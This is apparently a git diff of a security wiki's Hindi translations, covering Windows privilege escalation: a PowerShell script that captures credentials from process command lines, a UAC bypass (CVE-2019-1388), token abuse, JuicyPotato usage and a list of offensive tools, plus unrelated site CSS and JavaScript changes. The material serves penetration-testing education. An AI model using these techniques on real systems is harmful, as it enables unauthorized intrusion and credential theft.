जब एक उपयोगकर्ता के रूप में शेल प्राप्त करते हैं, तो कुछ निर्धारित कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
```powershell
while($true)
{
@ -1249,13 +1249,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
## पासवर्ड चुराना प्रक्रियाओं से
## प्रक्रियाओं से पासवर्ड चुराना
## लो प्रिविलेज यूजर से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास
## कम विशेषाधिकार उपयोगकर्ता से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास
यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया या टर्मिनल को चलाना संभव है।
यह प्रिविलेज को बढ़ाने और एक ही समय में UAC को बायपास करने की अनुमति देता है, उसी कमजोरियों के साथ। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा साइन और जारी किया गया है।
यह विशेषाधिकारों को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अतिरिक्त, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा हस्ताक्षरित और जारी किया गया है।
कुछ प्रभावित सिस्टम निम्नलिखित हैं:
```
@ -1337,22 +1337,24 @@ sc start newservicename
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाएं नहीं) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएं पा सकते हैं_)।\
**आप एक** [**कोड का उदाहरण यहां देख सकते हैं जो प्रस्तावित तकनीक को निष्पादित करता है**](sedebug-+-seimpersonate-copy-token.md)**।**
**आप एक** [**कोड का उदाहरण यहां ोज सकते हैं जो प्रस्तावित तकनीक को निष्पादित करता है**](sedebug-+-seimpersonate-copy-token.md)**।**
### **Named Pipes**
यह तकनीक मीटरप्रटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\
यह तकनीक मीटरप्रटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। तकनीक में **एक पाइप बनाना और फिर उस पाइप पर लिखने के लिए एक सेवा बनाना/दुरुपयोग करना** शामिल है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा और SYSTEM विशेषाधिकार प्राप्त करेगा।\
यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](./#named-pipe-client-impersonation)।\
यदि आप [**उच्च इंटीग्रिटी से SYSTEM में जाने के लिए नाम पाइप का उपयोग करने का एक उदाहरण पढ़ना चाहते हैं तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
### Dll Hijacking
यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, य**उच्च इंटीग्रिटी प्रक्रिया से प्राप्त करना अधिक आसान है** क्योंकि इसके पास **dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर लिखने की अनुमति होगी**।\
**आप** [**Dll hijacking के बारे में अधिक जान सकते हैं यहां**](dll-hijacking/)**।**
यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यदि उच्च इंटीग्रिटी प्रक्रिया से प्राप्त करना **बहुत आसान है** क्योंकि इसके पास dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर **लिखने की अनुमति** होगी।\
**आप** [**Dll हाईजैकिंग के बारे में अधिक जान सकते हैं यहां**](dll-hijacking/)**।**
### **From Administrator or Network Service to System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs
@ -1374,7 +1376,7 @@ sc start newservicename
[**privesc** ](https://github.com/enjoiz/Privesc)**-- गलत कॉन्फ़िगरेशन की जांच करें**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP सहेजे गए सत्र की जानकारी निकालता है। स्थानीय में -Thorough का उपयोग करें।**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड को स्प्रे करें**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\
@ -1391,7 +1393,7 @@ sc start newservicename
**Bat**
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट पर आधारित एक उपकरण (इसका सही तरीके से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)।
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट के आधार पर बनाया गया उपकरण (इसका सही ढंग से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)।
**Local**

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato Windows Server 2019 और Windows 10 build 1809 के बाद काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_
> [!WARNING] > **JuicyPotato Windows Server 2019 और Windows 10 build 1809 से आगे काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -11,7 +10,7 @@ roguepotato-and-printspoofer.md
## Juicy Potato (सुनहरे विशेषाधिकारों का दुरुपयोग) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, थोड़ा जूस के साथ, यानी **एक और स्थानीय विशेषाधिकार वृद्धि उपकरण, Windows सेवा खातों से NT AUTHORITY\SYSTEM**_
_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, जिसमें थोड़ा रस है, यानी **एक और स्थानीय विशेषाधिकार वृद्धि उपकरण, Windows सेवा खातों से NT AUTHORITY\SYSTEM**_
#### आप juicypotato को [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) से डाउनलोड कर सकते हैं
@ -19,7 +18,7 @@ _एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.co
[**juicy-potato Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [रिएंट्स](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows बिल्ड समीक्षा के दौरान, हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था।
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [रिएंट्स](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows निर्माण समीक्षा के दौरान, हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था।
हमने [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) को हथियार बनाने का निर्णय लिया: **Juicy Potato को नमस्ते कहें**
@ -33,7 +32,7 @@ _एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.co
कुछ परीक्षणों के बाद, हमने कई Windows संस्करणों पर [दिलचस्प CLSID की एक विस्तृत सूची प्राप्त की और परीक्षण किया](http://ohpe.it/juicy-potato/CLSID/)।
### जूस के विवरण <a href="#juicy-details" id="juicy-details"></a>
### रसदार विवरण <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato आपको अनुमति देता है:
@ -41,8 +40,8 @@ JuicyPotato आपको अनुमति देता है:
- **COM सुनने वाला पोर्ट** _आप पसंद का COM सुनने वाला पोर्ट परिभाषित करें (हार्डकोडेड 6666 के बजाय)_
- **COM सुनने वाला IP पता** _किसी भी IP पर सर्वर को बाइंड करें_
- **प्रक्रिया निर्माण मोड** _अनुकरण किए गए उपयोगकर्ता के विशेषाधिकार के आधार पर आप चुन सकते हैं:_
- `CreateProcessWithToken` (को `SeImpersonate` की आवश्यकता है)
- `CreateProcessAsUser` (को `SeAssignPrimaryToken` की आवश्यकता है)
- `CreateProcessWithToken` (को `SeImpersonate` की आवश्यकता है)
- `CreateProcessAsUser` (को `SeAssignPrimaryToken` की आवश्यकता है)
- `दोनों`
- **लॉन्च करने के लिए प्रक्रिया** _यदि शोषण सफल होता है तो एक निष्पादन योग्य या स्क्रिप्ट लॉन्च करें_
- **प्रक्रिया तर्क** _लॉन्च की गई प्रक्रिया के तर्कों को अनुकूलित करें_
@ -73,7 +72,7 @@ Optional args:
यदि उपयोगकर्ता के पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार हैं तो आप **SYSTEM** हैं।
इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप `DCOMCNFG` के माध्यम से इन वस्तुओं के अनुमतियों को संशोधित करने के बारे में सोच सकते हैं लेकिन शुभकामनाएँ, यह चुनौतीपूर्ण होने वाला है।
इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप `DCOMCNFG` के माध्यम से इन वस्तुओं के अनुमतियों को संशोधित करने के बारे में सोच सकते हैं, लेकिन शुभकामनाएँ, यह चुनौतीपूर्ण होने वाला है।
वास्तविक समाधान संवेदनशील खातों और अनुप्रयोगों की सुरक्षा करना है जो `* SERVICE` खातों के तहत चलते हैं। `DCOM` को रोकना निश्चित रूप से इस शोषण को रोक देगा लेकिन इससे अंतर्निहित OS पर गंभीर प्रभाव पड़ सकता है।
@ -108,7 +107,9 @@ c:\Users\Public>
अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और एक्सप्लॉइट विफल हो जाता है। आमतौर पर, एक **काम करने वाला CLSID** खोजने के लिए कई प्रयासों की आवश्यकता होती है। एक विशिष्ट ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए, आपको इस पृष्ठ पर जाना चाहिए:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **CLSID की जांच करना**
@ -116,9 +117,9 @@ c:\Users\Public>
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) डाउनलोड करें और निष्पादित करें। यह स्क्रिप्ट परीक्षण के लिए संभावित CLSIDs की एक सूची बनाएगी।
फिर [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**
फिर [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**
**काम करने वाले CLSIDs की जांच करें** **पैरामीटर -c का उपयोग करके**
**परामर्श -c** का उपयोग करके काम करने वाले CLSIDs की **जांच करें**
## संदर्भ

View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})